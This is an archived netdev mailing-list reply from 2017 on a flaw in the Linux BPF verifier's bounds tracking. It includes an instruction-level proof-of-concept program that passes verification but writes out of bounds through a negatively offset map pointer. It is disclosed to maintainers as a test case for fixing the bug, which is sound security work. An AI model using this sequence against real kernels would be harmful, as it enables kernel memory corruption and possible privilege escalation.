netdev - Re: More BPF verifier questions

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date:   Tue, 6 Jun 2017 15:17:19 +0100
From:   Edward Cree <ecree@...arflare.com>
To:     Josef Bacik <josef@...icpanda.com>, Alexei Starovoitov <ast@...com>
CC:     Alexei Starovoitov <alexei.starovoitov@...il.com>,
        Daniel Borkmann <daniel@...earbox.net>,
        netdev <netdev@...r.kernel.org>,
        David Miller <davem@...emloft.net>,
        iovisor-dev <iovisor-dev@...ts.iovisor.org>,
        "Josef Bacik" <jbacik@...com>
Subject: Re: More BPF verifier questions

On 05/06/17 19:47, Josef Bacik wrote:
> On Mon, Jun 05, 2017 at 11:11:05AM -0700, Alexei Starovoitov wrote:
>> Do you have an asm test case that demonstrates that?
> From here we want to exploit the fact that false_reg->min_value is not
> necessarily correct, but in order to do that we need to get false_reg->max_value
> below the actual size limit for the data we're reaching into, which means we
> want to _only_ change false_reg->max_value.  Thankfully there doesn't appear to
> be a way to do that, everything changes either only min_value or both min_value
> and max_value.  I think we're safe here, unless I've missed something.  Thanks,
Here's the basic idea:
    r1 = -8
    r2 = -1
    JGT r1, r2, end
    JSGT r1, 1, end
    ptr += r1
    *(u8 *)ptr = 0
After the JGT, we're in the false branch so r1->min_value = 0 and r1->max_value
 = (u64)-1.
After the JSGT, we're again in the false branch so r1->max_value = 1.
So when we add r1 to the pointer, the verifier thinks it's safe, but it's not,
 because r1 is really negative.

And here's the asm:
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -8, 0),
    BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
    BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -8),
    BPF_LD_MAP_FD(BPF_REG_1, 0),
    BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0,
                 BPF_FUNC_map_lookup_elem),
    BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 7),
    BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, -8),
    BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_10, -16),
    BPF_MOV64_IMM(BPF_REG_2, -1),
    BPF_JMP_REG(BPF_JGT, BPF_REG_1, BPF_REG_2, 3),
    BPF_JMP_IMM(BPF_JSGT, BPF_REG_1, 1, 2),
    BPF_ALU64_REG(BPF_ADD, BPF_REG_0, BPF_REG_1),
    BPF_ST_MEM(BPF_B, BPF_REG_0, 0, 0),
    BPF_MOV64_IMM(BPF_REG_0, 0),
    BPF_EXIT_INSN(),
The verifier currently accepts this program (with an appropriate map fd), but I
 believe when run it will access invalid memory.

-Ed